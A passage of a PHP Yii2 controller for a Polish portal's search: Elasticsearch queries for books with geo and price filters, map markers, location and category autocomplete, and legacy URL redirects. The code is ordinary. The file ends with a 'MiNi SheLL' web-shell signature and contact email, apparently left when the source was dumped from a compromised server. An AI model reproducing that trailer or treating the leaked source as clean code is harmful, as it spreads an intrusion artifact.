                            ['match' => ['title' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
                            ['match' => ['author' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],
                            ['match' => ['publishing_house' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],
                            ['match' => ['lead' => ['query' => $modelSearchForm->phrase, 'boost' => 5.0]]],
                            ['match' => ['description' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]],
                            ['match' => ['tags' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],
                        ],
                        "minimum_should_match" => 1,
                        'filter' => [
                            ['term' => ['portals' => Yii::$app->params['modelPortal']->id_portal]]
                        ],
                    ],
                ]
            ]
        ];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation) && !empty($modelSearchForm->boundaryCoordinates)) {
            $rawQuery['bool']['filter'][] = [
                'geo_polygon' => [
                    'locations' => [
                        'points' => explode(' ', $modelSearchForm->boundaryCoordinates)
                    ]
                ]
            ];
        } else {
            $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
            if(!empty($modelSearchForm->distance) && !empty($coordinates)) {
                $rawQuery['bool']['filter'][] = [
                    'geo_distance' => [
                        'distance' => $modelSearchForm->distance.'km',
                        'locations' => [
                            'lat' => $coordinates[0],
                            'lon' => $coordinates[1]
                        ]
                    ]
                ];
            }
        }        
        
        if(!empty($modelSearchForm->type)) {
            $rawQuery['bool']['filter'][] = ['terms' => ['book_type' => $modelSearchForm->type]];
        }
        
        if(!empty($modelSearchForm->orPaperVersion) || !empty($modelSearchForm->orElectronicVersion)) {
            if(!empty($modelSearchForm->orPaperVersion) && !empty($modelSearchForm->orElectronicVersion)) {
                $rawQuery['bool']['filter'][] = [
                    'bool' => [
                        'should' => [
                            ['term' => ['or_paper_version' => true]],
                            ['term' => ['or_electronic_version' => true]]
                        ],
                        'minimum_should_match' => 1
                    ]
                ];
            } elseif(!empty($modelSearchForm->orPaperVersion)) {
                $rawQuery['bool']['filter'][] = ['term' => ['or_paper_version' => true]];
            } else {
                $rawQuery['bool']['filter'][] = ['term' => ['or_electronic_version' => true]];
            }
        }
        
        if(!empty($modelSearchForm->priceMin) || !empty($modelSearchForm->priceMax)) {       
            if(!empty($modelSearchForm->priceMin) && !empty($modelSearchForm->priceMax)) {
                $rawQuery['bool']['filter'][] = ['range' => ['price' => ['gte' => $modelSearchForm->priceMin, 'lte' => $modelSearchForm->priceMax]]];
            } elseif(!empty($modelSearchForm->priceMin)) {
                $rawQuery['bool']['filter'][] = ['range' => ['price' => ['gte' => $modelSearchForm->priceMin]]];
            } else {
                $rawQuery['bool']['filter'][] = ['range' => ['price' => ['lte' => $modelSearchForm->priceMax]]];
            }
        }
        
        return $rawQuery;
    }
    
    public function actionKsiegarnia()
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl();
        if(!empty($response)) {
            return $response;
        }
        
        if(Yii::$app->request->get('old')) {
            $queryParams = Yii::$app->request->getQueryParams();
            $queryParams['phrase'] = mb_convert_encoding($queryParams['phrase'], 'UTF-8', 'UTF-8');
            Yii::$app->request->setQueryParams($queryParams);
        }
        //---------------------------
        
        $modelSearchForm = SearchForm::getInstance();
        $modelSearchForm->setScenario('bookstore');
        $modelSearchForm->load(Yii::$app->request->get());
        $modelSearchForm->loadBoundaryIfExists();
        
        $rawQuery = $this->getRawQueryForBookstore($modelSearchForm);
        
        $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
        $boundaryCoordinates = [];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation)) {
            foreach(explode(' ', $modelSearchForm->boundaryCoordinates) as $value) {
                $temp = explode(',', $value);
                $boundaryCoordinates[] = [(double)$temp[0], (double)$temp[1]];
            }
        }
        
        $query = IndexBooks::find()->query($rawQuery);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
            ],
            'sort' => false
        ]);
        Yii::$app->view->params['dataProvider'] = $dataProvider;
        
        $markers = [];
        $models = $dataProvider->getModels();
        if(!empty($models)) {
            $labels = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
            $counter = 0;
            //$this->orPointIsInPolygon([$model->location[1], $model->location[0]], $boundaryCoordinates)
            if((!empty($coordinates) && !empty($modelSearchForm->distance)) || !empty($boundaryCoordinates)) {
                if(!empty($boundaryCoordinates)) {
                    foreach($models as $model) {
                        if(empty($model->locations)) {
                            continue;
                        }

                        if(count($model->locations) === 1) {
                            if($this->orPointIsInPolygon([$model->locations[0][1], $model->locations[0][0]], $boundaryCoordinates)) {
                                $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->title];
                            }
                        } else {                        
                            $counterForBooks = 1;
                            foreach($model->locations as $location) {
                                if($this->orPointIsInPolygon([$location[1], $location[0]], $boundaryCoordinates)) {
                                    $markers[] = [$labels[$counter].$counterForBooks, $location[1], $location[0], $model->getPrimaryKey(), $model->title];
                                    $counterForBooks++;
                                }
                            }
                        }
                        $counter++;
                    }
                } else {
                    foreach($models as $model) {
                        if(empty($model->locations)) {
                            continue;
                        }

                        if(count($model->locations) === 1) {
                            $calculatedDistance = $this->getDistance($model->locations[0][1], $model->locations[0][0], $coordinates[0], $coordinates[1]);
                            if($calculatedDistance < $modelSearchForm->distance) {
                                $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->title];
                            }
                        } else {                        
                            $counterForBooks = 1;
                            foreach($model->locations as $location) {
                                $calculatedDistance = $this->getDistance($location[1], $location[0], $coordinates[0], $coordinates[1]);
                                if($calculatedDistance < $modelSearchForm->distance) {
                                    $markers[] = [$labels[$counter].$counterForBooks, $location[1], $location[0], $model->getPrimaryKey(), $model->title];
                                    $counterForBooks++;
                                }
                            }
                        }
                        $counter++;
                    }
                }                
            } else {
                foreach($models as $model) {
                    if(empty($model->locations)) {
                        continue;
                    }
                    
                    if(count($model->locations) === 1) {
                        $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->title];
                    } else {
                        $counterForBooks = 1;
                        foreach($model->locations as $location) {
                            $markers[] = [$labels[$counter].$counterForBooks, $location[1], $location[0], $model->getPrimaryKey(), $model->title];
                            $counterForBooks++;
                        }
                    }
                    $counter++;
                }
            }            
        }
        
        $this->setSeoMetadata('search_bookstore', [
            'title' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain], //'{szukana fraza, miasto}','{domena}'
            'keywords' => [$modelSearchForm->phrase.', '.$modelSearchForm->location], //'{szukana fraza, miasto}'
            'description' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain] //'{szukana fraza, miasto}','{domena}'
        ]);         
        
        return $this->render('books', [
            'dataProvider' => $dataProvider,
            'phrase' => $modelSearchForm->phrase,
            'coordinates' => $coordinates,
            'distance' => $modelSearchForm->distance,
            'markers' => $markers,
            'numberOfHits' => $this->getNumberOfHitsForEachSections()
        ]);
    } 
    
    public function actionPobierzLokalizacje()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $outputData = [
            'postcodes' => [],
            'localities' => [],
            'regions' => []
        ];
        
        $phrase = trim(Yii::$app->request->get('phrase'));
//        $phrase = 'Międzyzdroje';
        
        if(empty($phrase) || strlen($phrase) < 3) {
            return $outputData;
        }
        
        if(is_numeric(str_replace('-', '', $phrase))) {
            $postcodes = \common\models\GeoPna::find()
                    ->where(['ilike', 'postcode', $phrase])
                    ->orderBy('postcode')
                    ->asArray()
                    ->all();
            if(!empty($postcodes)) {
                $countyLabel = Yii::t('frontend', 'powiat'); 
                $communeLabel = Yii::t('frontend', 'gmina');
                
                foreach($postcodes as $postcode) {
                    $postcodeLabel = $postcode['postcode'].' (';
                    if(!empty($postcode['street'])) {
                        $postcodeLabel .= $postcode['street'];
                        if(!empty($postcode['street_numbers'])) {
                            $postcodeLabel .= ' ('.$postcode['street_numbers'].')';
                        }
                        $postcodeLabel .= ', ';
                    }
                    $postcodeLabel .= $postcode['locality'].', '.$postcode['region'].', '.$countyLabel.': '.$postcode['county'].', '.$communeLabel.': '.$postcode['commune'].')';
                    
                    $outputData['postcodes'][] = [
                        'id' => $postcode['id_geo_pna'],
                        'label' => $postcodeLabel,
                        'value' => $postcode['postcode'],
                        'coordinates' => $postcode['lat'].','.$postcode['lng'],
                        'type' => SearchForm::LOCATION_TYPE_POSTCODE
                    ];
                }
                
                unset($postcodes);
            }
        }
        
        $localitites = \common\models\GeoLocalities::find()
                ->select(['geo_localities.id_geo_locality', 'geo_localities.name', 'geo_localities.lat', 'geo_localities.lng', 'geo_regions.name AS region_name', 'geo_counties.name AS county_name'])
                ->join('INNER JOIN', 'geo_regions', 'geo_regions.id_geo_region = geo_localities.id_geo_region')
                ->join('INNER JOIN', 'geo_counties', 'geo_counties.id_geo_county = geo_localities.id_geo_county')
                ->where(['ilike', 'geo_localities.name', $phrase])
                ->orderBy('geo_localities.name')
                ->asArray()
                ->all();
        if(!empty($localitites)) {
            foreach($localitites as $locality) {
                $outputData['localities'][] = [
                    'id' => $locality['id_geo_locality'],
                    'label' => $locality['name'].', '.$locality['county_name'].', '.$locality['region_name'],
                    'value' => $locality['name'],
                    'coordinates' => $locality['lat'].','.$locality['lng'],
                    'type' => SearchForm::LOCATION_TYPE_LOCALITY
                ];
            }
        }
        
        $regions = \common\models\GeoRegions::find()
                ->where(['ilike', 'name', $phrase.'%', false])
                ->orderBy('name')
                ->asArray()
                ->all();
        if(!empty($regions)) {
            foreach($regions as $region) {
                $outputData['regions'][] = [
                    'id' => $region['id_geo_region'],
                    'label' => 'Całe '.$region['name'],
                    'value' => $region['name'],
                    'coordinates' => $region['lat'].','.$region['lng'],
                    'type' => SearchForm::LOCATION_TYPE_REGION
                ];
            }
        }
        
        return $outputData;
    }
    
    public function actionAutocomplete()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        $outputData = [];
        
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $phrase = trim(Yii::$app->request->get('term'));        
        if(empty($phrase)) {
            return $outputData;
        }        
        
        $rawQuery = [
            'bool' => [
                'should' => [
                    ['match' => ['phrase' => ['query' => $phrase]]]
                ],
                "minimum_should_match" => 1,
                'filter' => [
                    ['term' => ['portals' => $modelPortal->id_portal]],
                    ['terms' => ['source_type' => ['ar', 'fr', 'tr', 'pr', 'ps', 'bk', 'ad']]]
                ],
            ]
        ];
        
        $query = IndexAutocomplete::find()
                ->query($rawQuery)
                ->addAggregate('unique_phrases', [
                    'terms' => ['field' => 'phrase_raw', 'size' => 15]
                ])
                ->limit(0);
        
        $documents = $query->search();
        
        if(!empty($documents['aggregations']['unique_phrases']['buckets'])) {
            foreach($documents['aggregations']['unique_phrases']['buckets'] as $hit) {
                $outputData[] = $hit['key'];
            }
        }

        return $outputData;
    } 
    
    protected function traverseNestedSetTree(&$categories, $category, $path = '')
    { 
        $path = !empty($path) ? $path.' -> '.$category['text'] : $category['text'];
        $categories[$category['id']] = [
            'name' => $category['text'],
            'path' => $path
        ];
        
        if(!empty($category['children'])) {
            foreach($category['children'] as $subcategory) {
                $this->traverseNestedSetTree($categories, $subcategory, $path);
            }
        }        
        
        return true;
    }
    
    public function actionAutocomplete2()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $phrase = trim(Yii::$app->request->get('term'));        
        if(empty($phrase)) {
            return [];
        }        
        
        $rawQuery = [
            'bool' => [
                'should' => [
                    ['match' => ['phrase' => ['query' => $phrase]]]
                ],
                "minimum_should_match" => 1,
                'filter' => [
                    ['term' => ['portals' => $modelPortal->id_portal]],
                    ['terms' => ['source_type' => ['ar', 'fr', 'tr', 'pr', 'ps', 'bk', 'ad']]]
                ],
            ]
        ];
        
        $query = IndexAutocomplete::find()
                ->query($rawQuery)
                ->addAggregate('unique_phrases', [
                    'terms' => ['field' => 'phrase_raw', 'size' => 15]
                ])
                ->limit(0);
        
        $documents = $query->search();
        
        $indexAutocompleteData = [];
        
        if(!empty($documents['aggregations']['unique_phrases']['buckets'])) {
            foreach($documents['aggregations']['unique_phrases']['buckets'] as $hit) {
                $indexAutocompleteData[] = $hit['key'];
            }
        }
        
        $companiesCategories = $this->autocompleteFromCompaniesCategories($phrase);
        $productsCategories = $this->autocompleteFromProductsCategories($phrase);
        
        return [
            'indexAutocomplete' => $indexAutocompleteData,
            'companiesCategories' => $companiesCategories,
            'productsCategories' => $productsCategories            
        ];
    }
    
    protected function autocompleteFromCompaniesCategories($phrase)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $categories = Yii::$app->cache->getOrSet('search_autocomplete_companies_categories_'.$idPortalForCategoriesTree, function() use($idPortalForCategoriesTree) {
            $categoriesTree = \common\models\CompaniesCategories::getCategoryTree($idPortalForCategoriesTree);
            $categoriesTree = $categoriesTree[0]['children'];

            $output = [];
            if(!empty($categoriesTree)) {            
                foreach($categoriesTree as $category) {
                    $this->traverseNestedSetTree($output, $category);
                }
            }
            
            return $output;
        }, 20); 
        
        $filteredCategories = array_filter($categories, function($item) use ($phrase) {
            return !!preg_match('|'.preg_quote($phrase).'|is', $item['name']);
        });
        
        if(!empty($filteredCategories)) {
            foreach($filteredCategories as $idCategory => $category) {
                $filteredCategories[$idCategory]['url'] = Url::to(['firmy/lista', 'id' => $idCategory, 'slug' => SlugGenerator::generate($category['name'])]);
            }
        }
        
        return $filteredCategories;
    }
    
    protected function autocompleteFromProductsCategories($phrase)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $categories = Yii::$app->cache->getOrSet('search_autocomplete_products_categories_'.$idPortalForCategoriesTree, function() use($idPortalForCategoriesTree) {
            $categoriesTree = \common\models\ProductsCategories::getCategoryTree($idPortalForCategoriesTree);
            $categoriesTree = $categoriesTree[0]['children'];

            $output = [];
            if(!empty($categoriesTree)) {            
                foreach($categoriesTree as $category) {
                    $this->traverseNestedSetTree($output, $category);
                }
            }
            
            return $output;
        }, 20); 
        
        $filteredCategories = array_filter($categories, function($item) use ($phrase) {
            return !!preg_match('|'.preg_quote($phrase).'|is', $item['name']);
        });
        
        if(!empty($filteredCategories)) {
            foreach($filteredCategories as $idCategory => $category) {
                $filteredCategories[$idCategory]['url'] = Url::to(['produkty/lista', 'id' => $idCategory, 'slug' => SlugGenerator::generate($category['name'])]);
            }
        }
        
        return $filteredCategories;
    }
    
    //@backward_compatibility
    //---------------------------
//    protected function explodeAreaParam($modelSearchForm)
//    {
//        $area = Yii::$app->request->get('area');
//        if(empty($area)) {
//            return;
//        }
//        
//        $areaParts = explode("_", $area);
//        $areaType = (int)$areaParts[0];
//        $idLocation = (int)$areaParts[1];
//        $modelSearchForm->distance = (int)$areaParts[2];
//        $customLatitude = (double)$areaParts[3];
//        $customLongitude = (double)$areaParts[4];
//        $customLocation = (string)$areaParts[5];
//        
//        switch($areaType) {
//            case 1:
//                //wybrano wojewodztwo                
//                $modelGeo = \common\models\GeoRegions::findOne($idLocation);
//                if(!empty($modelGeo)) {
//                    $modelSearchForm->locationType = SearchForm::LOCATION_TYPE_REGION;
//                    $modelSearchForm->location = $modelGeo->name;
//                    $modelSearchForm->coordinates = $modelGeo->lat.','.$modelGeo->lng;
//                }      
//                break;
//            case 2:                
//                //wybrano miejscowosc
//                $modelGeo = \common\models\GeoLocalities::findOne($idLocation);
//                if(!empty($modelGeo)) {
//                    $modelSearchForm->locationType = SearchForm::LOCATION_TYPE_LOCALITY;
//                    $modelSearchForm->location = $modelGeo->name;
//                    $modelSearchForm->coordinates = $modelGeo->lat.','.$modelGeo->lng;
//                }
//                break;
//            case 3:                
//                //wybrano kod pocztowy wraz z adresem
//                $modelGeo = \common\models\GeoPna::findOne($idLocation);
//                if(!empty($modelGeo)) {
//                    $modelSearchForm->locationType = SearchForm::LOCATION_TYPE_POSTCODE;
//                    $modelSearchForm->location = $modelGeo->name;
//                    $modelSearchForm->coordinates = $modelGeo->lat.','.$modelGeo->lng;
//                }
//                break;
//            case 4:
//                //wybrano lokalizacje usera lub pozycje znacznika na mapie   
//                $modelSearchForm->location = $customLocation;
//                $modelSearchForm->coordinates = $customLatitude.','.$customLongitude;
//                break;
//        }
//        
//    }
    //---------------------------
    
    //@backward_compatibility
    //---------------------------
    protected function getRedirectFromOldUrl()
    {
        if(!Yii::$app->request->get('old')) {
            return null;
        }
        
        $area = Yii::$app->request->get('area');
        if(empty($area)) {
            return null;
        }
        
        $urlParams = Yii::$app->request->getQueryParams(); 
        unset($urlParams['old']);
        unset($urlParams['area']);
        
        $urlParams['phrase'] = mb_convert_encoding($urlParams['phrase'], 'UTF-8', 'UTF-8');
        
        $areaParts = explode("_", $area);
        $areaType = (int)$areaParts[0];
        $idLocation = (int)$areaParts[1];
        $urlParams['distance'] = (int)$areaParts[2];
        $customLatitude = (double)$areaParts[3];
        $customLongitude = (double)$areaParts[4];
        $customLocation = (string)$areaParts[5];
        
        switch($areaType) {
            case 1:
                //wybrano wojewodztwo                
                $modelGeo = \common\models\GeoRegions::findOne($idLocation);
                if(!empty($modelGeo)) {
                    $urlParams['locationType'] = SearchForm::LOCATION_TYPE_REGION;
                    $urlParams['location'] = $modelGeo->name;
                    $urlParams['coordinates'] = $modelGeo->lat.','.$modelGeo->lng;
                }
                break;
            case 2:                
                //wybrano miejscowosc
                $modelGeo = \common\models\GeoLocalities::findOne($idLocation);
                if(!empty($modelGeo)) {
                    $urlParams['locationType'] = SearchForm::LOCATION_TYPE_LOCALITY;
                    $urlParams['location'] = $modelGeo->name;
                    $urlParams['coordinates'] = $modelGeo->lat.','.$modelGeo->lng;
                }
                break;
            case 3:                
                //wybrano kod pocztowy wraz z adresem
                $modelGeo = \common\models\GeoPna::findOne($idLocation);
                if(!empty($modelGeo)) {
                    $urlParams['locationType'] = SearchForm::LOCATION_TYPE_POSTCODE;
                    $urlParams['location'] = $modelGeo->name;
                    $urlParams['coordinates'] = $modelGeo->lat.','.$modelGeo->lng;
                }
                break;
            case 4:
                //wybrano lokalizacje usera lub pozycje znacznika na mapie   
                $urlParams['location'] = $customLocation;
                $urlParams['coordinates'] = $customLatitude.','.$customLongitude;
                break;
            default:                 
                return null;
        }
        
        array_unshift($urlParams, 'wyszukiwarka/'.Yii::$app->controller->action->id);
        
        return $this->redirect($urlParams, 301);
    }
    //---------------------------
}

Creat By MiNi SheLL
Email: jattceo@gmail.com